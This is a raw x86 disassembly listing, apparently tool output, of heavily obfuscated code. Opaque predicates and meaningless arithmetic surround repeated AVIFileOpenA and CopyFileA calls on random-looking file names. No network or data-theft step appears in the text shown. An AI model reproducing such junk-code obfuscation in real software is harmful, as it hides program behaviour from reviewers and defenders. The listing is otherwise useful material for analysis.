je 0x40251c
mov dword [ebp - 0x71e0], str.D0bKeWwNEH9Q45lkpi7Ae1mqp
mov eax, 0x1f
sub eax, dword [ebp - 0x45c]
sub eax, dword [ebp - 0x45c]
cmp eax, 0xc0
jne 0x40243f
mov dword [ebp - 0x2148], 1
jmp 0x402449
mov dword [ebp - 0x2148], 0
mov ecx, dword [ebp - 0x45c]
imul ecx, dword [ebp - 0x45c]
mov edx, 0xd9
sub edx, ecx
cmp dword [ebp - 0x45c], edx
jne 0x402471
mov dword [ebp - 0x214c], 1
jmp 0x40247b
mov dword [ebp - 0x214c], 0
mov eax, dword [ebp - 0x45c]
sub eax, 0x2a
add eax, dword [ebp - 0x45c]
and eax, dword [ebp - 0x2148]
or eax, dword [ebp - 0x214c]
mov dword [ebp - 0x110c], eax
mov ecx, dword [ebp - 0x110c]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x110c]
and edx, 1
cmp ecx, edx
je 0x4024c0
mov dword [ebp - 0x2150], 1
jmp 0x4024ca
mov dword [ebp - 0x2150], 0
mov eax, dword [ebp - 0x2150]
add eax, 1
shl eax, 1
mov dword [ebp - 0x110c], eax
push 0
mov ecx, dword [ebp - 0x110c]
push ecx
mov edx, dword [ebp - 0x71e0]
push edx
lea eax, [ebp - 0x93ac]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a7c], eax
cmp dword [ebp - 0x1a7c], 0
je 0x402508
jmp 0x402517
mov ecx, dword [ebp - 0x1a7c]
add ecx, 1
mov dword [ebp - 0x1a7c], ecx
jmp 0x402676
mov dword [ebp - 0x71e4], str.w7ZOW9i42mWcgziK
mov edx, dword [ebp - 0x608]
add edx, 0x34
add edx, dword [ebp - 0x608]
mov eax, 0xe2
sub eax, dword [ebp - 0x608]
cmp edx, eax
je 0x402550
mov dword [ebp - 0x2158], 1
jmp 0x40255a
mov dword [ebp - 0x2158], 0
cmp dword [ebp - 0x608], 0x18
je 0x40256f
mov dword [ebp - 0x2154], 1
jmp 0x402579
mov dword [ebp - 0x2154], 0
mov ecx, dword [ebp - 0x2154]
cmp ecx, dword [ebp - 0x608]
jne 0x402593
mov dword [ebp - 0x215c], 1
jmp 0x40259d
mov dword [ebp - 0x215c], 0
mov edx, dword [ebp - 0x608]
add edx, dword [ebp - 0x608]
and edx, dword [ebp - 0x608]
or edx, dword [ebp - 0x2158]
mov eax, dword [ebp - 0x608]
and eax, 0x41
and eax, dword [ebp - 0x215c]
xor eax, 0xf4
or edx, eax
or edx, dword [ebp - 0x608]
or edx, 0xd9
imul ecx, dword [ebp - 0x608], 0xca
add ecx, dword [ebp - 0x608]
or edx, ecx
mov eax, dword [ebp - 0x608]
add eax, 4
or edx, eax
mov dword [ebp - 0x1110], edx
mov ecx, dword [ebp - 0x1110]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1110]
and edx, 1
cmp ecx, edx
je 0x40261e
mov dword [ebp - 0x2160], 1
jmp 0x402628
mov dword [ebp - 0x2160], 0
mov eax, dword [ebp - 0x2160]
add eax, 1
imul ecx, eax, 0
mov dword [ebp - 0x1110], ecx
push 0
mov edx, dword [ebp - 0x1110]
push edx
mov eax, dword [ebp - 0x71e4]
push eax
lea ecx, [ebp - 0x93b0]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a80], eax
cmp dword [ebp - 0x1a80], 0
je 0x402667
jmp 0x402676
mov edx, dword [ebp - 0x1a80]
add edx, 1
mov dword [ebp - 0x1a80], edx
mov dword [ebp - 0x71e8], str.acjIkxQs3PAWx6U9Z4Nfmnv
mov eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x45c]
je 0x40269a
mov dword [ebp - 0x2164], 1
jmp 0x4026a4
mov dword [ebp - 0x2164], 0
mov ecx, dword [ebp - 0x2164]
cmp ecx, dword [ebp - 0x45c]
jne 0x4026be
mov dword [ebp - 0x2168], 1
jmp 0x4026c8
mov dword [ebp - 0x2168], 0
mov edx, dword [ebp - 0x45c]
imul edx, dword [ebp - 0x45c]
cmp dword [ebp - 0x2168], edx
jne 0x4026e9
mov dword [ebp - 0x216c], 1
jmp 0x4026f3
mov dword [ebp - 0x216c], 0
mov eax, dword [ebp - 0x216c]
cmp eax, dword [ebp - 0x45c]
je 0x40270d
mov dword [ebp - 0x2180], 1
jmp 0x402717
mov dword [ebp - 0x2180], 0
mov ecx, 0x28
sub ecx, dword [ebp - 0x45c]
cmp ecx, 0xae
jne 0x402736
mov dword [ebp - 0x2170], 1
jmp 0x402740
mov dword [ebp - 0x2170], 0
mov edx, dword [ebp - 0x2170]
cmp edx, dword [ebp - 0x45c]
je 0x40275a
mov dword [ebp - 0x2174], 1
jmp 0x402764
mov dword [ebp - 0x2174], 0
mov eax, dword [ebp - 0x2174]
cmp eax, dword [ebp - 0x45c]
jne 0x40277e
mov dword [ebp - 0x2178], 1
jmp 0x402788
mov dword [ebp - 0x2178], 0
mov ecx, dword [ebp - 0x2178]
cmp ecx, dword [ebp - 0x45c]
je 0x4027a2
mov dword [ebp - 0x217c], 1
jmp 0x4027ac
mov dword [ebp - 0x217c], 0
mov edx, dword [ebp - 0x217c]
cmp edx, dword [ebp - 0x45c]
jne 0x4027c6
mov dword [ebp - 0x2184], 1
jmp 0x4027d0
mov dword [ebp - 0x2184], 0
mov eax, dword [ebp - 0x45c]
imul eax, dword [ebp - 0x45c]
sub eax, dword [ebp - 0x45c]
cmp eax, 0x4e
jne 0x4027f4
mov dword [ebp - 0x2188], 1
jmp 0x4027fe
mov dword [ebp - 0x2188], 0
mov ecx, dword [ebp - 0x2180]
and ecx, dword [ebp - 0x45c]
mov edx, dword [ebp - 0x2184]
and edx, dword [ebp - 0x2188]
xor ecx, edx
mov dword [ebp - 0x1114], ecx
mov eax, dword [ebp - 0x1114]
neg eax
xor eax, dword [ebp - 0x1114]
and eax, 1
add eax, 1
shl eax, 1
mov dword [ebp - 0x1114], eax
push 0
mov ecx, dword [ebp - 0x1114]
push ecx
mov edx, dword [ebp - 0x71e8]
push edx
lea eax, [ebp - 0x93b4]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a84], eax
cmp dword [ebp - 0x1a84], 0
je 0x402867
jmp 0x402876
mov ecx, dword [ebp - 0x1a84]
add ecx, 1
mov dword [ebp - 0x1a84], ecx
mov dword [ebp - 0x71ec], str.sMCPBoQJtzaUjH90BeBAckI
cmp dword [ebp - 0x908], 0x7e
jne 0x402895
mov dword [ebp - 0x2194], 1
jmp 0x40289f
mov dword [ebp - 0x2194], 0
mov edx, dword [ebp - 0x908]
imul edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x908]
sub eax, 0x6b
cmp edx, eax
jne 0x4028c5
mov dword [ebp - 0x2198], 1
jmp 0x4028cf
mov dword [ebp - 0x2198], 0
mov ecx, dword [ebp - 0x908]
cmp ecx, dword [ebp - 0x908]
je 0x4028e9
mov dword [ebp - 0x218c], 1
jmp 0x4028f3
mov dword [ebp - 0x218c], 0
cmp dword [ebp - 0x218c], 0xe9
jne 0x40290b
mov dword [ebp - 0x2190], 1
jmp 0x402915
mov dword [ebp - 0x2190], 0
imul edx, dword [ebp - 0x908], 0xe3
cmp dword [ebp - 0x2190], edx
jne 0x402933
mov dword [ebp - 0x219c], 1
jmp 0x40293d
mov dword [ebp - 0x219c], 0
mov eax, dword [ebp - 0x2194]
and eax, dword [ebp - 0x2198]
mov ecx, dword [ebp - 0x908]
and ecx, 0xc1
and ecx, dword [ebp - 0x219c]
xor eax, ecx
mov dword [ebp - 0x1118], eax
mov edx, dword [ebp - 0x1118]
neg edx
and edx, 1
mov eax, dword [ebp - 0x1118]
and eax, 1
cmp edx, eax
je 0x402987
mov dword [ebp - 0x21a0], 1
jmp 0x402991
mov dword [ebp - 0x21a0], 0
mov ecx, dword [ebp - 0x21a0]
mov dword [ebp - 0x1118], ecx
push 0
mov edx, dword [ebp - 0x1118]
push edx
mov eax, dword [ebp - 0x71ec]
push eax
lea ecx, [ebp - 0x93b8]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0
je 0x402b54
mov dword [ebp - 0x71f0], str.wDFsdPa1fWLyXyJ0xybh
mov edx, dword [ebp - 0x388]
add edx, 0xcb
sub edx, dword [ebp - 0x388]
cmp edx, 0xd2
je 0x4029fc
mov dword [ebp - 0x21a4], 1
jmp 0x402a06
mov dword [ebp - 0x21a4], 0
imul eax, dword [ebp - 0x388], 0xd0
mov ecx, dword [ebp - 0x388]
imul ecx, dword [ebp - 0x388]
add eax, ecx
cmp dword [ebp - 0x21a4], eax
je 0x402a33
mov dword [ebp - 0x21a8], 1
jmp 0x402a3d
mov dword [ebp - 0x21a8], 0
cmp dword [ebp - 0x21a8], 0x5d
jne 0x402a52
mov dword [ebp - 0x21ac], 1
jmp 0x402a5c
mov dword [ebp - 0x21ac], 0
mov edx, dword [ebp - 0x21ac]
cmp edx, dword [ebp - 0x388]
jne 0x402a76
mov dword [ebp - 0x21b0], 1
jmp 0x402a80
mov dword [ebp - 0x21b0], 0
cmp dword [ebp - 0x388], 0x48
je 0x402a95
mov dword [ebp - 0x21b4], 1
jmp 0x402a9f
mov dword [ebp - 0x21b4], 0
cmp dword [ebp - 0x388], 0x4d
je 0x402ab4
mov dword [ebp - 0x21b8], 1
jmp 0x402abe
mov dword [ebp - 0x21b8], 0
mov eax, dword [ebp - 0x21b0]
or eax, 0x1e
mov ecx, dword [ebp - 0x21b4]
xor ecx, dword [ebp - 0x388]
xor ecx, dword [ebp - 0x21b8]
or eax, ecx
mov dword [ebp - 0x111c], eax
mov edx, dword [ebp - 0x111c]
not edx
cmp edx, dword [ebp - 0x111c]
jne 0x402afd
mov dword [ebp - 0x21bc], 1
jmp 0x402b07
mov dword [ebp - 0x21bc], 0
mov eax, dword [ebp - 0x21bc]
add eax, 3
mov dword [ebp - 0x111c], eax
push 0
mov ecx, dword [ebp - 0x111c]
push ecx
mov edx, dword [ebp - 0x71f0]
push edx
lea eax, [ebp - 0x93bc]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a88], eax
cmp dword [ebp - 0x1a88], 0
je 0x402b43
jmp 0x402b52
mov ecx, dword [ebp - 0x1a88]
add ecx, 1
mov dword [ebp - 0x1a88], ecx
jmp 0x402b63
mov edx, dword [ebp - 0x388]
add edx, 1
mov dword [ebp - 0x388], edx
mov dword [ebp - 0x71f4], str.Zb1gUQoZtLmViTWg7
mov dword [ebp - 0x71f8], str.GR4GLhtaQss
mov eax, dword [ebp - 0x388]
imul eax, dword [ebp - 0x388]
cmp eax, dword [ebp - 0x388]
jne 0x402b98
mov dword [ebp - 0x21c0], 1
jmp 0x402ba2
mov dword [ebp - 0x21c0], 0
mov ecx, dword [ebp - 0x21c0]
cmp ecx, dword [ebp - 0x388]
je 0x402bbc
mov dword [ebp - 0x21cc], 1
jmp 0x402bc6
mov dword [ebp - 0x21cc], 0
mov edx, dword [ebp - 0x388]
imul edx, dword [ebp - 0x388]
add edx, 0x3f
mov eax, 0x75
sub eax, dword [ebp - 0x388]
cmp edx, eax
jne 0x402bf1
mov dword [ebp - 0x21c4], 1
jmp 0x402bfb
mov dword [ebp - 0x21c4], 0
mov ecx, 0xae
sub ecx, dword [ebp - 0x388]
sub ecx, 0xf9
cmp dword [ebp - 0x21c4], ecx
jne 0x402c20
mov dword [ebp - 0x21c8], 1
jmp 0x402c2a
mov dword [ebp - 0x21c8], 0
mov edx, dword [ebp - 0x21c8]
cmp edx, dword [ebp - 0x388]
jne 0x402c44
mov dword [ebp - 0x21d0], 1
jmp 0x402c4e
mov dword [ebp - 0x21d0], 0
mov eax, dword [ebp - 0x21cc]
xor eax, 0xfb
imul ecx, dword [ebp - 0x388], 0x7e
mov edx, dword [ebp - 0x388]
add edx, 0x2e
add edx, dword [ebp - 0x388]
and ecx, edx
and ecx, dword [ebp - 0x21d0]
xor eax, ecx
mov dword [ebp - 0xb3c], eax
mov eax, dword [ebp - 0xb3c]
neg eax
xor eax, dword [ebp - 0xb3c]
and eax, 1
add eax, 1
mov dword [ebp - 0xb3c], eax
mov ecx, dword [ebp - 0xb3c]
add ecx, 1
mov dword [ebp - 0xb3c], ecx
mov edx, dword [ebp - 0xb3c]
add edx, 1
mov dword [ebp - 0xb3c], edx
mov eax, dword [ebp - 0xb3c]
push eax
mov ecx, dword [ebp - 0x71f4]
push ecx
mov edx, dword [ebp - 0x71f8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x71fc], eax
mov dword [ebp - 0x7200], str.25GvZNaz1l66pDqkKUdEOubjdKNPGQh
cmp dword [ebp - 0x84c], 0xc2
jne 0x402cfa
mov dword [ebp - 0x21d8], 1
jmp 0x402d04
mov dword [ebp - 0x21d8], 0
cmp dword [ebp - 0x84c], 0x38
je 0x402d19
mov dword [ebp - 0x21d4], 1
jmp 0x402d23
mov dword [ebp - 0x21d4], 0
mov eax, dword [ebp - 0x84c]
add eax, 0xd
cmp dword [ebp - 0x21d4], eax
je 0x402d40
mov dword [ebp - 0x21dc], 1
jmp 0x402d4a
mov dword [ebp - 0x21dc], 0
mov ecx, dword [ebp - 0x84c]
imul ecx, dword [ebp - 0x84c]
sub ecx, 0xe0
cmp ecx, 0xf9
jne 0x402d71
mov dword [ebp - 0x21e0], 1
jmp 0x402d7b
mov dword [ebp - 0x21e0], 0
mov edx, dword [ebp - 0x84c]
and edx, dword [ebp - 0x84c]
mov eax, dword [ebp - 0x21d8]
and eax, dword [ebp - 0x21dc]
xor edx, eax
xor edx, dword [ebp - 0x21e0]
xor edx, dword [ebp - 0x84c]
mov ecx, dword [ebp - 0x84c]
sub ecx, 0x4c
and ecx, 2
and ecx, dword [ebp - 0x84c]
or edx, ecx
or edx, 0x82
mov dword [ebp - 0x1120], edx
mov edx, dword [ebp - 0x1120]
neg edx
and edx, 1
mov eax, dword [ebp - 0x1120]
and eax, 1
cmp edx, eax
je 0x402de5
mov dword [ebp - 0x21e4], 1
jmp 0x402def
mov dword [ebp - 0x21e4], 0
mov ecx, dword [ebp - 0x21e4]
or ecx, 1
mov dword [ebp - 0x1120], ecx
push 0
mov edx, dword [ebp - 0x1120]
push edx
mov eax, dword [ebp - 0x7200]
push eax
lea ecx, [ebp - 0x93c0]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0
je 0x4033a6
mov dword [ebp - 0x7204], str.htfdqjEMnhmt99joJq8eZ
mov dword [ebp - 0x7208], str.dBE5oVEGbc3dJnRaUBcKV1wgfB
mov edx, dword [ebp - 0x464]
sub edx, dword [ebp - 0x464]
cmp edx, 0x47
je 0x402e5e
mov dword [ebp - 0x21e8], 1
jmp 0x402e68
mov dword [ebp - 0x21e8], 0
mov eax, dword [ebp - 0x21e8]
cmp eax, dword [ebp - 0x464]
jne 0x402e82
mov dword [ebp - 0x21f4], 1
jmp 0x402e8c
mov dword [ebp - 0x21f4], 0
cmp dword [ebp - 0x464], 0x31
jne 0x402ea1
mov dword [ebp - 0x21ec], 1
jmp 0x402eab
mov dword [ebp - 0x21ec], 0
mov ecx, dword [ebp - 0x21ec]
cmp ecx, dword [ebp - 0x464]
je 0x402ec5
mov dword [ebp - 0x21f0], 1
jmp 0x402ecf
mov dword [ebp - 0x21f0], 0
mov edx, dword [ebp - 0x21f0]
cmp edx, dword [ebp - 0x464]
je 0x402ee9
mov dword [ebp - 0x21f8], 1
jmp 0x402ef3
mov dword [ebp - 0x21f8], 0
cmp dword [ebp - 0x464], 0x5d
je 0x402f08
mov dword [ebp - 0x21fc], 1
jmp 0x402f12
mov dword [ebp - 0x21fc], 0
mov eax, dword [ebp - 0x464]
and eax, dword [ebp - 0x21f4]
mov ecx, dword [ebp - 0x21f8]
and ecx, dword [ebp - 0x464]
xor eax, ecx
xor eax, dword [ebp - 0x464]
xor eax, dword [ebp - 0x21fc]
xor eax, dword [ebp - 0x464]
imul edx, dword [ebp - 0x464], 0xc5
xor eax, edx
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x460]
add eax, dword [ebp - 0x460]
and eax, 1
add eax, 1
mov dword [ebp - 0x460], eax
mov ecx, dword [ebp - 0x460]
add ecx, 1
mov dword [ebp - 0x460], ecx
mov edx, dword [ebp - 0x460]
add edx, 1
mov dword [ebp - 0x460], edx
mov eax, dword [ebp - 0x460]
push eax
mov ecx, dword [ebp - 0x7204]
push ecx
mov edx, dword [ebp - 0x7208]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0
je 0x403115
mov dword [ebp - 0x720c], str.58VjUPGEl62RBgTdc9aVhw
cmp dword [ebp - 0x60c], 0x3e
je 0x402fd3
mov dword [ebp - 0x2200], 1
jmp 0x402fdd
mov dword [ebp - 0x2200], 0
mov eax, dword [ebp - 0x2200]
cmp eax, dword [ebp - 0x60c]
jne 0x402ff7
mov dword [ebp - 0x2208], 1
jmp 0x403001
mov dword [ebp - 0x2208], 0
mov ecx, dword [ebp - 0x60c]
add ecx, 2
mov edx, dword [ebp - 0x60c]
sub edx, 0x9a
cmp ecx, edx
jne 0x403026
mov dword [ebp - 0x2204], 1
jmp 0x403030
mov dword [ebp - 0x2204], 0
imul eax, dword [ebp - 0x60c], 0xd5
add eax, dword [ebp - 0x60c]
cmp dword [ebp - 0x2204], eax
je 0x403054
mov dword [ebp - 0x220c], 1
jmp 0x40305e
mov dword [ebp - 0x220c], 0
imul ecx, dword [ebp - 0x60c], 0xa4
add ecx, dword [ebp - 0x60c]
mov edx, dword [ebp - 0x2208]
and edx, 0x2a
xor ecx, edx
imul eax, dword [ebp - 0x60c], 0xeb
and eax, dword [ebp - 0x60c]
and eax, dword [ebp - 0x220c]
xor ecx, eax
mov dword [ebp - 0x1124], ecx
mov ecx, dword [ebp - 0x1124]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1124]
and edx, 1
cmp ecx, edx
je 0x4030bb
mov dword [ebp - 0x2210], 1
jmp 0x4030c5
mov dword [ebp - 0x2210], 0
mov eax, dword [ebp - 0x2210]
or eax, 5
mov dword [ebp - 0x1124], eax
push 0
mov ecx, dword [ebp - 0x1124]
push ecx
mov edx, dword [ebp - 0x720c]
push edx
lea eax, [ebp - 0x93c4]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a8c], eax
cmp dword [ebp - 0x1a8c], 0
je 0x403101
jmp 0x403110
mov ecx, dword [ebp - 0x1a8c]
add ecx, 1
mov dword [ebp - 0x1a8c], ecx
jmp 0x403295
mov dword [ebp - 0x7210], str.GMo3CTtxH0bbsuklQR7X
mov dword [ebp - 0x7214], str.mjRmW0GDObpGBkJxznnDemLEe0w5Lna4
cmp dword [ebp - 0x460], 0xac
je 0x403141
mov dword [ebp - 0x2214], 1
jmp 0x40314b
mov dword [ebp - 0x2214], 0
mov edx, dword [ebp - 0x460]
add edx, dword [ebp - 0x460]
add edx, 0xb4
sub edx, dword [ebp - 0x460]
sub edx, 0x14
cmp dword [ebp - 0x2214], edx
jne 0x40317a
mov dword [ebp - 0x2218], 1
jmp 0x403184
mov dword [ebp - 0x2218], 0
mov eax, dword [ebp - 0x2218]
cmp eax, dword [ebp - 0x460]
je 0x40319e
mov dword [ebp - 0x221c], 1
jmp 0x4031a8
mov dword [ebp - 0x221c], 0
cmp dword [ebp - 0x460], 0x78
jne 0x4031bd
mov dword [ebp - 0x2220], 1
jmp 0x4031c7
mov dword [ebp - 0x2220], 0
mov ecx, dword [ebp - 0x460]
sub ecx, 0x4a
cmp ecx, dword [ebp - 0x460]
jne 0x4031e4
mov dword [ebp - 0x2224], 1
jmp 0x4031ee
mov dword [ebp - 0x2224], 0
mov edx, dword [ebp - 0x460]
xor edx, dword [ebp - 0x221c]
imul eax, dword [ebp - 0x460], 0xa9
xor edx, eax
mov ecx, dword [ebp - 0x460]
add ecx, dword [ebp - 0x460]
and ecx, dword [ebp - 0x460]
xor edx, ecx
mov eax, dword [ebp - 0x2220]
and eax, dword [ebp - 0x2224]
mov ecx, dword [ebp - 0x460]
sub ecx, dword [ebp - 0x460]
and eax, ecx
xor edx, eax
mov dword [ebp - 0xb40], edx
mov edx, dword [ebp - 0xb40]
neg edx
xor edx, dword [ebp - 0xb40]
and edx, 1
add edx, 1
mov dword [ebp - 0xb40], edx
mov eax, dword [ebp - 0xb40]
add eax, 1
mov dword [ebp - 0xb40], eax
mov ecx, dword [ebp - 0xb40]
add ecx, 1
mov dword [ebp - 0xb40], ecx
mov edx, dword [ebp - 0xb40]
push edx
mov eax, dword [ebp - 0x7210]
push eax
mov ecx, dword [ebp - 0x7214]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7218], eax
mov dword [ebp - 0x721c], str.hryglC0x6iScT5L7QJDIp2xRh
mov dword [ebp - 0x7220], str.wWX4FGzevNzArvTuIdQVJ0DpSEc
mov edx, dword [ebp - 0x60c]
add edx, 0x82
sub edx, dword [ebp - 0x60c]
cmp edx, 0xc0
je 0x4032cf
mov dword [ebp - 0x2228], 1
jmp 0x4032d9
mov dword [ebp - 0x2228], 0
mov eax, dword [ebp - 0x60c]
sub eax, 0x21
cmp dword [ebp - 0x2228], eax
jne 0x4032f6
mov dword [ebp - 0x222c], 1
jmp 0x403300
mov dword [ebp - 0x222c], 0
mov ecx, dword [ebp - 0x222c]
cmp ecx, dword [ebp - 0x60c]
jne 0x40331a
mov dword [ebp - 0x2230], 1
jmp 0x403324
mov dword [ebp - 0x2230], 0
mov edx, dword [ebp - 0x2230]
and edx, dword [ebp - 0x60c]
xor edx, dword [ebp - 0x60c]
mov eax, dword [ebp - 0x60c]
xor eax, 0x24
xor eax, dword [ebp - 0x60c]
or edx, eax
mov dword [ebp - 0xb44], edx
mov ecx, dword [ebp - 0xb44]
add ecx, dword [ebp - 0xb44]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb44], ecx
mov edx, dword [ebp - 0xb44]
add edx, 1
mov dword [ebp - 0xb44], edx
mov eax, dword [ebp - 0xb44]
add eax, 1
mov dword [ebp - 0xb44], eax
mov ecx, dword [ebp - 0xb44]
push ecx
mov edx, dword [ebp - 0x721c]
push edx
mov eax, dword [ebp - 0x7220]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7224], eax
jmp 0x4033b5
mov ecx, dword [ebp - 0x464]
add ecx, 1
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x7228], str.hHdCdbdpxUe2LPyY5
mov dword [ebp - 0x722c], str.pSZ5jo
imul edx, dword [ebp - 0x464], 0x90
add edx, 0x4d
mov eax, dword [ebp - 0x464]
add eax, 0xd3
cmp edx, eax
je 0x4033f1
mov dword [ebp - 0x2234], 1
jmp 0x4033fb
mov dword [ebp - 0x2234], 0
imul ecx, dword [ebp - 0x464], 0x21
mov edx, dword [ebp - 0x464]
sub edx, ecx
imul eax, dword [ebp - 0x464], 0x1f
xor edx, eax
mov ecx, dword [ebp - 0x464]
and ecx, dword [ebp - 0x464]
xor edx, ecx
or edx, dword [ebp - 0x2234]
or edx, dword [ebp - 0x464]
mov dword [ebp - 0x38c], edx
mov edx, dword [ebp - 0x38c]
neg edx
and edx, 1
mov eax, dword [ebp - 0x38c]
and eax, 1
cmp edx, eax
je 0x403457
mov dword [ebp - 0x2238], 1
jmp 0x403461
mov dword [ebp - 0x2238], 0
mov ecx, dword [ebp - 0x2238]
or ecx, 1
mov dword [ebp - 0x38c], ecx
mov edx, dword [ebp - 0x38c]
add edx, 1
mov dword [ebp - 0x38c], edx
mov eax, dword [ebp - 0x38c]
add eax, 1
mov dword [ebp - 0x38c], eax
mov ecx, dword [ebp - 0x38c]
push ecx
mov edx, dword [ebp - 0x7228]
push edx
mov eax, dword [ebp - 0x722c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0
je 0x4035a5
mov dword [ebp - 0x7230], str.P6QUZWWCOFGDxR4nETlqmR0g
mov ecx, dword [ebp - 0x610]
add ecx, dword [ebp - 0x610]
cmp ecx, 0x1f
je 0x4034e3
mov dword [ebp - 0x223c], 1
jmp 0x4034ed
mov dword [ebp - 0x223c], 0
imul edx, dword [ebp - 0x610], 0x12
mov eax, dword [ebp - 0x610]
sub eax, edx
add eax, 0xe9
add eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x223c]
and ecx, 0x7e
xor eax, ecx
or eax, dword [ebp - 0x610]
mov edx, dword [ebp - 0x610]
and edx, dword [ebp - 0x610]
or eax, edx
mov dword [ebp - 0x1128], eax
mov eax, dword [ebp - 0x1128]
not eax
cmp eax, dword [ebp - 0x1128]
jne 0x403548
mov dword [ebp - 0x2240], 1
jmp 0x403552
mov dword [ebp - 0x2240], 0
mov ecx, dword [ebp - 0x2240]
add ecx, 1
shl ecx, 2
mov dword [ebp - 0x1128], ecx
push 0
mov edx, dword [ebp - 0x1128]
push edx
mov eax, dword [ebp - 0x7230]
push eax
lea ecx, [ebp - 0x93c8]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a90], eax
cmp dword [ebp - 0x1a90], 0
je 0x403591
jmp 0x4035a0
mov edx, dword [ebp - 0x1a90]
add edx, 1
mov dword [ebp - 0x1a90], edx
jmp 0x4036e5
mov dword [ebp - 0x7234], str.cwPxk23x8YFfWU9Y49yVnh9Zwf
imul eax, dword [ebp - 0x38c], 0x3a
add eax, dword [ebp - 0x38c]
imul ecx, dword [ebp - 0x38c], 0xb3
cmp eax, ecx
je 0x4035d6
mov dword [ebp - 0x2244], 1
jmp 0x4035e0
mov dword [ebp - 0x2244], 0
cmp dword [ebp - 0x2244], 0x69
jne 0x4035f5
mov dword [ebp - 0x2248], 1
jmp 0x4035ff
mov dword [ebp - 0x2248], 0
mov edx, dword [ebp - 0x38c]
sub edx, 0xcd
cmp dword [ebp - 0x38c], edx
jne 0x40361f
mov dword [ebp - 0x224c], 1
jmp 0x403629
mov dword [ebp - 0x224c], 0
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x38c]
imul ecx, dword [ebp - 0x38c]
mov edx, dword [ebp - 0x38c]
sub edx, dword [ebp - 0x38c]
and edx, dword [ebp - 0x38c]
and edx, dword [ebp - 0x38c]
xor ecx, edx
or eax, ecx
mov ecx, dword [ebp - 0x38c]
imul ecx, dword [ebp - 0x38c]
mov edx, 0x16
sub edx, ecx
and edx, dword [ebp - 0x2248]
xor edx, dword [ebp - 0x224c]
or eax, edx
or eax, dword [ebp - 0x38c]
mov dword [ebp - 0x112c], eax
mov eax, dword [ebp - 0x112c]
neg eax
xor eax, dword [ebp - 0x112c]
and eax, 1
add eax, 1
imul ecx, eax, 0
mov dword [ebp - 0x112c], ecx
push 0
mov edx, dword [ebp - 0x112c]
push edx
mov eax, dword [ebp - 0x7234]
push eax
lea ecx, [ebp - 0x93cc]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a94], eax
cmp dword [ebp - 0x1a94], 0
je 0x4036d6
jmp 0x4036e5
mov edx, dword [ebp - 0x1a94]
add edx, 1
mov dword [ebp - 0x1a94], edx
mov dword [ebp - 0x7238], str.tRRaiUL8HVgxnDey7
imul eax, dword [ebp - 0x610], 0x99
mov ecx, 0x86
sub ecx, eax
add ecx, dword [ebp - 0x610]
add ecx, dword [ebp - 0x610]
cmp ecx, dword [ebp - 0x610]
je 0x403720
mov dword [ebp - 0x2250], 1
jmp 0x40372a
mov dword [ebp - 0x2250], 0
mov edx, dword [ebp - 0x610]
sub edx, 0xe1
cmp dword [ebp - 0x2250], edx
je 0x40374a
mov dword [ebp - 0x2258], 1
jmp 0x403754
mov dword [ebp - 0x2258], 0
cmp dword [ebp - 0x610], 0x2c
jne 0x403769
mov dword [ebp - 0x2254], 1
jmp 0x403773
mov dword [ebp - 0x2254], 0
mov eax, dword [ebp - 0x610]
add eax, 0xb9
cmp dword [ebp - 0x2254], eax
je 0x403792
mov dword [ebp - 0x225c], 1
jmp 0x40379c
mov dword [ebp - 0x225c], 0
cmp dword [ebp - 0x610], 0x48
jne 0x4037b1
mov dword [ebp - 0x2260], 1
jmp 0x4037bb
mov dword [ebp - 0x2260], 0
mov ecx, dword [ebp - 0x610]
add ecx, dword [ebp - 0x610]
and ecx, dword [ebp - 0x2258]
mov edx, dword [ebp - 0x610]
and edx, dword [ebp - 0x225c]
xor ecx, edx
xor ecx, dword [ebp - 0x2260]
xor ecx, dword [ebp - 0x610]
mov dword [ebp - 0x1130], ecx
mov eax, dword [ebp - 0x1130]
neg eax
xor eax, dword [ebp - 0x1130]
and eax, 1
add eax, 5
mov dword [ebp - 0x1130], eax
push 0
mov ecx, dword [ebp - 0x1130]
push ecx
mov edx, dword [ebp - 0x7238]
push edx
lea eax, [ebp - 0x93d0]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a98], eax
cmp dword [ebp - 0x1a98], 0
je 0x403834
jmp 0x403843
mov ecx, dword [ebp - 0x1a98]
add ecx, 1
mov dword [ebp - 0x1a98], ecx
jmp 0x40384e
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x723c], str.DCIvYHDavecEG2VzdBP
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
je 0x40386c
mov dword [ebp - 0x2264], 1
jmp 0x403876
mov dword [ebp - 0x2264], 0
